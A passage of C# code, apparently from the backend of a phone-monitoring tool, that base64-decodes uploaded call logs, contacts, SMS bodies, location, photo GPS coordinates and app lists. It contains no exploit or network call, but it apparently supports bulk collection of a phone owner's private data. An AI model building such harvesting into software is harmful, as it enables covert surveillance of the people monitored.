System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Locations[i].Date))); } if (bulkData.Location.Hash != null) { bulkData.Location.Hash = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Hash))); } } if (DataChecker.CheckCalls(bulkData.CallHistory)) { for (int i = 0; i < bulkData.CallHistory.Calls.Count; i++) { bulkData.CallHistory.Calls[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Date))); bulkData.CallHistory.Calls[i].Direction = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Direction))); bulkData.CallHistory.Calls[i].Duration = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Duration))); bulkData.CallHistory.Calls[i].Number = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Number))); } } if (DataChecker.CheckContacts(bulkData.Contacts)) { for (int i = 0; i < bulkData.Contacts.ContactList.Count; i++) { bulkData.Contacts.ContactList[i].Name = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Contacts.ContactList[i].Name))); bulkData.Contacts.ContactList[i].Number = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Contacts.ContactList[i].Number))); } } if (DataChecker.CheckMessages(bulkData.Messages)) { for (int i = 0; i < bulkData.Messages.Messages.Count; i++) { bulkData.Messages.Messages[i].Address = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Address))); bulkData.Messages.Messages[i].State = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].State))); bulkData.Messages.Messages[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Date))); bulkData.Messages.Messages[i].Type = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Type))); bulkData.Messages.Messages[i].Body = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Body))); } } if (DataChecker.CheckTrafic(bulkData.Trafic)) { bulkData.Trafic.Trafic = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Trafic.Trafic))); bulkData.Trafic.Hash = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Trafic.Hash))); } if (DataChecker.CheckApplications(bulkData.Applications)) { for (int i = 0; i < bulkData.Applications.Applications.Count; i++) { bulkData.Applications.Applications[i].Name = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Applications.Applications[i].Name))); } } if (DataChecker.CheckPhotos(bulkData.Photos)) { for (int i = 0; i < bulkData.Photos.Photos.Count; i++) { bulkData.Photos.Photos[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Photos.Photos[i].Date))); bulkData.Photos.Photos[i].Latitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Photos.Photos[i].Latitude))); bulkData.Photos.Photos[i].Longitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Photos.Photos[i].Longitude))); } } if (DataChecker.CheckMetadata(bulkData.Metadata)) { for (int i = 0; i < bulkData.Metadata.Metadata.Count; i++) { bulkData.Metadata.Metadata[i] = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Metadata.Metadata[i]))); } } return(bulkData); } return(null); }